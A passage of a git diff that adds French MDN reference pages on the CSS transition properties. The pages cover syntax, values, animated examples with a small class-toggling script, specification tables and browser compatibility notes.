+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:4s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("delay_4s",275,150)}}</div>
+</div>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#transition-delay-property', 'transition-delay')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.transition-delay")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions">Utiliser les transitions CSS</a></li>
+ <li>L'API {{domxref("TransitionEvent")}}</li>
+</ul>
diff --git a/files/fr/web/css/transition-duration/index.html b/files/fr/web/css/transition-duration/index.html
new file mode 100644
index 0000000000..7d97c7ae48
--- /dev/null
+++ b/files/fr/web/css/transition-duration/index.html
@@ -0,0 +1,343 @@
+---
+title: transition-duration
+slug: Web/CSS/transition-duration
+tags:
+  - CSS
+  - Propriété
+  - Reference
+  - Transitions
+translation_of: Web/CSS/transition-duration
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>transition-duration</code></strong> définit le nombre de secondes ou de millisecondes que doit durer une animation. La valeur par défaut, <code>0s</code>, indique qu'il n'y aura aucune animation.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/transition-duration.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Il est possible de définir plusieurs durées, chacune sera appliquée à la propriété correspondante listée par {{cssxref("transition-property")}} (qui agit comme un index des propriétés impactées par les animations). S'il y a moins de durées que d'éléments dans cette liste, l'agent utilisateur dupliquera les durées. S'il y a trop de durées, la liste sera tronquée. Dans les deux cas, la déclaration CSS sera considérée comme valide.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs temporelles */
+/* Type &lt;time&gt; */
+transition-duration: 6s;
+transition-duration: 120ms;
+transition-duration: 1s, 15s;
+transition-duration: 10s, 30s, 230ms;
+
+/* Valeurs globales */
+transition-duration: inherit;
+transition-duration: initial;
+transition-duration: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;time&gt;</code></dt>
+ <dd>Une valeur {{cssxref("&lt;time&gt;")}} qui définit la durée que doit prendre l'animation pour changer la valeur d'une propriété (entre l'ancienne valeur et la nouvelle). Une durée de <code>0s</code> qu'aucune transition ne sera appliquée et que le passage d'un état à l'autre sera instantanné. Si la valeur utilisée est négative, la déclaration sera considérée comme invalide.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<div>
+<div id="duration_0_5s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-duration: 0.5s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:0.5s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:0.5s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:0.5s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transformv color;
+    transition-duration:0.5s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("duration_0_5s",275,150)}}</div>
+</div>
+
+<div id="duration_1s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-duration: 1s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top -webkit-transform color;
+    -webkit-transition-duration:1s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform color;
+    transition-duration:1s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top -webkit-transform transform color;
+    -webkit-transition-duration:1s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:1s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("duration_1s",275,150)}}</div>
+</div>
+
+<div id="duration_2s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-duration: 2s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:2s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:2s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("duration_2s",275,150)}}</div>
+</div>
+
+<div id="duration_4s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-duration: 4s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:4s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:4s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("duration_4s",275,150)}}</div>
+</div>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#transition-duration', 'transition-duration')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.transition-duration")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/CSS/Using_CSS_transitions" title="en/CSS/CSS transitions">Utiliser les transitions CSS</a></li>
+ <li>{{domxref("TransitionEvent")}}</li>
+</ul>
diff --git a/files/fr/web/css/transition-property/index.html b/files/fr/web/css/transition-property/index.html
new file mode 100644
index 0000000000..fe6981f42c
--- /dev/null
+++ b/files/fr/web/css/transition-property/index.html
@@ -0,0 +1,97 @@
+---
+title: transition-property
+slug: Web/CSS/transition-property
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/transition-property
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>transition-property</code></strong> désigne les noms des propriétés CSS sur lesquelles <a href="/fr/docs/Web/CSS/CSS_Transitions/Utiliser_transitions_CSS">un effet de transition</a> devrait être appliqué.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/transition-property.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note"><strong>Note :</strong> <a href="/fr/docs/Web/CSS/Liste_propriétés_CSS_animées">L'ensemble des propriétés CSS qui peuvent être animées</a> évolue. Vous devriez donc éviter de lister ici des propriétés qui, actuellement, ne sont pas animées car elles pourraient l'être demain et cela pourrait affecter votre document.</div>
+
+<p>Si vous définissez une propriété raccourcie (par exemple {{cssxref("background")}}), toutes les propriétés détaillées correspondantes seront animées de la même façon.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Avec un mot-clé */
+transition-property: none;
+transition-property: all;
+
+/* Valeurs utilisant un identifiant */
+/* &lt;custom-ident&gt; */
+transition-property: test1;
+transition-property: test_05;
+transition-property: -specific;
+transition-property: sliding-vertically;
+
+/* Valeurs multiples */
+transition-property: test1, animation4;
+transition-property: all, height, all;
+transition-property: all, -moz-specific, sliding;
+
+/* Avec des valeurs globales */
+transition-property: inherit;
+transition-property: initial;
+transition-property: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Aucune propriété n'est concernée par les transitions.</dd>
+ <dt><code>all</code></dt>
+ <dd>Toutes les propriétés qui peuvent avoir une transition animée seront concernées.</dd>
+ <dt><code>&lt;custom-ident&gt;</code></dt>
+ <dd>Une chaîne de caractère qui identifie la propriété pour laquelle on doit appliquer un effet de transition lorsque sa valeur change. Pour plus de détails sur la forme de cet identifiant, voir la page sur le type {{cssxref("&lt;custom-ident&gt;")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Il y a plusieurs exemples sur les transitions CSS qui se trouvent dans <a href="/fr/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions">l'article sur les transitions CSS</a>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#transition-property-property', 'transition-property')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.transition-property")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Transitions/Utiliser_transitions_CSS">Utiliser les transitions CSS</a></li>
+ <li>{{domxref("TransitionEvent")}}</li>
+</ul>
diff --git a/files/fr/web/css/transition-timing-function/index.html b/files/fr/web/css/transition-timing-function/index.html
new file mode 100644
index 0000000000..6e019efdcb
--- /dev/null
+++ b/files/fr/web/css/transition-timing-function/index.html
@@ -0,0 +1,286 @@
+---
+title: transition-timing-function
+slug: Web/CSS/transition-timing-function
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/transition-timing-function
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>transition-timing-function</code></strong> décrit la façon dont les valeurs intermédiaires des propriétés CSS affectées par un <a href="/fr/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions">effet de transition</a> sont calculées. Ceci permet donc de définir une courbe d'accelération, de manière à ce que la vitesse de la transition varie au cours de sa durée.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/transition-timing-function.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette courbe d'accelération est définie en utilisant une {{cssxref("&lt;timing-function&gt;")}} pour chacune des propriétés à animer.</p>
+
+<p>Il est possible de définir plusieurs fonctions de temporisation dans une même déclaration ; chacune sera appliquée à la propriété correspondante listée avec la propriété {{cssxref("transition-property")}}, qui agit comme liste maîtresse :</p>
+
+<ul>
+ <li>S'il y a moins de fonctions définies que d'éléments dans la liste, les valeurs manquantes sont remplacées par la valeur par défaut (<code>ease</code>).</li>
+ <li>S'il y a trop de fonctions de temporisation, la liste est simplement tronquée à la bonne dimension.</li>
+</ul>
+
+<p>Dans les deux cas, la déclaration CSS reste valide.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">/* Valeurs avec un mot-clé */
+transition-timing-function: ease;
+transition-timing-function: ease-in;
+transition-timing-function: ease-out;
+transition-timing-function: ease-in-out;
+transition-timing-function: linear;
+transition-timing-function: step-start;
+transition-timing-function: step-end;
+
+/* Valeurs fonctionnelles */
+transition-timing-function: steps(4, jump-end);
+transition-timing-function: cubic-bezier(0.1, 0.7, 1.0, 0.1);
+
+/* Valeurs avec une fonction en escalier */
+transition-timing-function: steps(4, jump-start);
+transition-timing-function: steps(10, jump-end);
+transition-timing-function: steps(20, jump-none);
+transition-timing-function: steps(5, jump-both);
+transition-timing-function: steps(6, start);
+transition-timing-function: steps(8, end);
+
+/* Utilisation de plusieurs fonctions */
+transition-timing-function: ease, step-start, cubic-bezier(0.1, 0.7, 1.0, 0.1);
+
+/* Valeurs globales */
+transition-timing-function: inherit;
+transition-timing-function: initial;
+transition-timing-function: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;timing-function&gt;</code></dt>
+ <dd>Chaque valeur {{cssxref("&lt;timing-function&gt;")}} représente une fonction temporelle à rattacher à chaque propriété de la transition définies grâce à {{cssxref("transition-property")}}.
+ <p>Les valeurs avec des mots-clés (<code>ease</code>, <code>linear</code>, <code>ease-in-out</code>, etc.) correspondent à une courbe de Bézier cubique fixe avec quatre valeurs prédéfinies; La fonction <code>cubic-bezier()</code> permet de paramétrer une courbe spécifique. Les fonctions en escalier permettent de diviser la transition en intervalles de même durée.</p>
+
+ <dl>
+  <dt><code>ease</code></dt>
+  <dd>Correspond à <code>cubic-bezier(0.25, 0.1, 0.25, 1.0)</code> : c'est la valeur par défaut, la vitesse de la transition augmente au milieu de celle-ci puis ralentit à la fin.</dd>
+  <dt><code>linear</code></dt>
+  <dd>Correspond à <code>cubic-bezier(0.0, 0.0, 1.0, 1.0)</code> : la transition s'effectue à vitesse constante.</dd>
+  <dt><code>ease-in</code></dt>
+  <dd>Correspond à <code>cubic-bezier(0.42, 0, 1.0, 1.0)</code> : la transition commence doucement puis la vitesse augmente jusqu'à ce qu'elle soit terminée.</dd>
+  <dt><code>ease-out</code></dt>
+  <dd>Correspond à <code>cubic-bezier(0, 0, 0.58, 1.0)</code> : la transition commence rapidement puis ralentit jusqu'à la fin.</dd>
+  <dt><code>ease-in-out</code></dt>
+  <dd>Correspond à <code>cubic-bezier(0.42, 0, 0.58, 1.0)</code> : la transition commence lentement, accèlere puis ralentit à nouveau avant la fin.</dd>
+  <dt><code>cubic-bezier(p1, p2, p3, p4)</code></dt>
+  <dd>Une courbe de Bézier paramétrable à l'aide de quatre coefficient compris entre 0 et 1.</dd>
+  <dt><code>steps( n, &lt;jumpterm&gt;)</code></dt>
+  <dd>La transition s'effectue selon <em>n</em> étapes de durées égales. Ainsi, si n vaut 5, la transition se composera de cinq paliers. Selon la valeur du paramètre <em>jumpterm</em>, ces paliers se trouveront entre 0%, 20%, 40%, 60% et 80%, ou entre 20%, 40%, 60%, 80% et 100%, or ou inclueront également 0% et 100% (soit 0%, 25%, 50%, 75% et 100%) :
+  <dl>
+   <dt><code>jump-start</code></dt>
+   <dd>La fonction est continue à gauche et le premier saut se produit au début de la transition.</dd>
+   <dt><code>jump-end</code></dt>
+   <dd>La fonction est continue à droite et le dernier saut se produit à la fin de la transition.</dd>
+   <dt><code>jump-none</code></dt>
+   <dd>Il n'y a aucune rupture au début ou à la fin. Il y a un palier constant après 0% et un palier constant avant 100% (chacun durant 1/n).</dd>
+   <dt><code>jump-both</code></dt>
+   <dd>Une pause est présente aux niveaux 0% et 100%, ce qui ajoute un niveau pendant la transition.</dd>
+   <dt><code>start</code></dt>
+   <dd>Identique à <code>jump-start.</code></dd>
+   <dt><code>end</code></dt>
+   <dd>Identique à <code>jump-end.</code></dd>
+  </dl>
+  </dd>
+  <dt><code>step-start</code></dt>
+  <dd>Synonyme de <code>steps(1, jump-start)</code></dd>
+  <dt><code>step-end</code></dt>
+  <dd>Synonyme de <code>steps(1, jump-end)</code></dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<div>
+<h3 id="Courbes_de_Bézier_cubiques">Courbes de Bézier cubiques</h3>
+
+<div class="hidden">
+<pre class="brush:html">&lt;div class="parent"&gt;
+  &lt;div class="ease"&gt;ease&lt;/div&gt;
+  &lt;div class="easein"&gt;ease-in&lt;/div&gt;
+  &lt;div class="easeout"&gt;ease-out&lt;/div&gt;
+  &lt;div class="easeinout"&gt;ease-in-out&lt;/div&gt;
+  &lt;div class="linear"&gt;linear&lt;/div&gt;
+  &lt;div class="cb"&gt;cubic-bezier(0.2,-2,0.8,2)&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush:css;">.parent {}
+.parent &gt; div[class] {
+    width: 12em;
+    min-width: 12em;
+    margin-bottom: 4px;
+    background-color: black;
+    border: 1px solid red;
+    color: white;
+    transition-property: all;
+    transition-duration: 7s;
+}
+.parent &gt; div.box1{
+    width: 90vw;
+    min-width: 24em;
+    background-color: magenta;
+    color: yellow;
+    border: 1px solid orange;
+    transition-property: all;
+    transition-duration: 2s;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var els = document.querySelectorAll(".parent &gt; div[class]");
+  for(var c = els.length, i = 0; i &lt; c; i++) {
+     els[i].classList.toggle("box1");
+  }
+}
+
+var intervalID = window.setInterval(updateTransition, 10000);
+</pre>
+</div>
+
+<pre class="brush: css">.ease {
+   transition-timing-function: ease;
+}
+.easein {
+   transition-timing-function: ease-in;
+}
+.easeout {
+   transition-timing-function: ease-out;
+}
+.easeinout {
+   transition-timing-function: ease-in-out;
+}
+.linear {
+   transition-timing-function: linear;
+}
+.cb {
+   transition-timing-function: cubic-bezier(0.2,-2,0.8,2);
+}</pre>
+
+<div>{{EmbedLiveSample("Courbes_de_Bézier_cubiques")}}</div>
+</div>
+
+<div>
+<h3 id="Fonctions_en_créneaux">Fonctions en créneaux</h3>
+
+<div class="hidden">
+<pre class="brush:html">&lt;div class="parent"&gt;
+  &lt;div class="jump-start"&gt;jump-start&lt;/div&gt;
+  &lt;div class="jump-end"&gt;jump-end&lt;/div&gt;
+  &lt;div class="jump-both"&gt;jump-both&lt;/div&gt;
+  &lt;div class="jump-none"&gt;jump-none&lt;/div&gt;
+  &lt;div class="step-start"&gt;step-start&lt;/div&gt;
+  &lt;div class="step-end"&gt;step-end&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush:css;">.parent {}
+.parent &gt; div[class] {
+    width: 12em;
+    min-width: 12em;
+    margin-bottom: 4px;
+    background-color: black;
+    border: 1px solid red;
+    color: white;
+    transition-property: all;
+    transition-duration:7s;
+}
+.parent &gt; div.box1{
+    width: 90vw;
+    min-width: 24em;
+    background-color: magenta;
+    color: yellow;
+    border: 1px solid orange;
+    transition-property: all;
+    transition-duration:2s;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var els = document.querySelectorAll(".parent &gt; div[class]");
+  for(var c = els.length, i = 0; i &lt; c; i++) {
+     els[i].classList.toggle("box1");
+  }
+}
+
+var intervalID = window.setInterval(updateTransition, 10000);
+</pre>
+</div>
+
+<pre class="brush: css">.jump-start {
+   transition-timing-function: steps(5, jump-start);
+}
+.jump-end {
+   transition-timing-function: steps(5, jump-end);
+}
+.jump-none {
+   transition-timing-function: steps(5, jump-none);
+}
+.jump-both {
+   transition-timing-function: steps(5, jump-both);
+}
+.step-start {
+   transition-timing-function: step-start;
+}
+.step-end {
+   transition-timing-function: step-end;
+}</pre>
+
+<div>{{EmbedLiveSample("Fonctions_en_créneaux")}}</div>
+</div>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Certaines animations permettent de guider les utilisateurs vers les actions possibles et utiles, d'illustrer les relations qui existent entre les éléments d'interface et d'informer les utilisateurs quant aux actions qui se sont produites. Les animations réduisent ainsi la charge cognitive et améliorent la perception du changement.</p>
+
+<p>Toutefois, certaines animations s'avèrent problématiques pour les personnes souffrant de troubles cognitifs, d'épilepsie ou autre. Pour cela, on prévoira d'intégrer un mécanisme qui permette de suspendre ou de désactiver l'animation. De même, on pourra tirer parti de <a href="/fr/docs/Web/CSS/@media/prefers-reduced-motion">la requête média sur la réduction de mouvements</a> afin de créer une expérience complémentaire pour les personnes ayant exprimé leur souhait d'absence d'animation.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État/th&gt;</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#transition-timing-function-property', 'transition-timing-function')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.transition-timing-function")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Transitions/Utiliser_transitions_CSS" title="en/CSS/CSS transitions">Utiliser les transitions CSS</a></li>
+ <li>{{domxref("TransitionEvent")}}</li>
+</ul>
diff --git a/files/fr/web/css/transition/index.html b/files/fr/web/css/transition/index.html
new file mode 100644
index 0000000000..b195fff18f
--- /dev/null
+++ b/files/fr/web/css/transition/index.html
@@ -0,0 +1,106 @@
+---
+title: transition
+slug: Web/CSS/transition
+tags:
+  - CSS
+  - Propriété
+  - Reference
+  - Transitions CSS
+translation_of: Web/CSS/transition
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>transition</code></strong> est <a href="/fr/docs/Web/CSS/Propriétés_raccourcies">une propriété raccourcie</a> pour les propriétés {{cssxref("transition-property")}}, {{cssxref("transition-duration")}}, {{cssxref("transition-timing-function")}} et {{cssxref("transition-delay")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/transition.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Elle permet de définir la transition entre deux états d'un élément. Les différents états peuvent être définis à l'aide <a href="/fr/docs/Web/CSS/Pseudo-classes">de pseudo-classes</a> telles que {{cssxref(":hover")}} ou {{cssxref(":active")}} ou être définis dynamiquement avec JavaScript.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* S'applique à une propriété */
+/* on a le nom et la durée */
+transition: margin-right 4s;
+
+/* nom de la propriété | durée | retard */
+transition: margin-right 4s 1s;
+
+/* nom | durée | fonction */
+transition: margin-right 4s ease-in-out;
+
+/* nom | durée | fonction | retard */
+transition: margin-right 4s ease-in-out 1s;
+
+/* S'applique à deux propriétés */
+transition: margin-right 4s, color 1s;
+
+/* S'applique à toutes les propriétés modifiées */
+transition: all 0.5s ease-out;
+
+/* Valeurs globales */
+transition: inherit;
+transition: initial;
+transition: unset;
+</pre>
+
+<p>La propriété <code>transition</code> se définit comme une ou plusieurs propriétés de transitions, séparées par des virgules.</p>
+
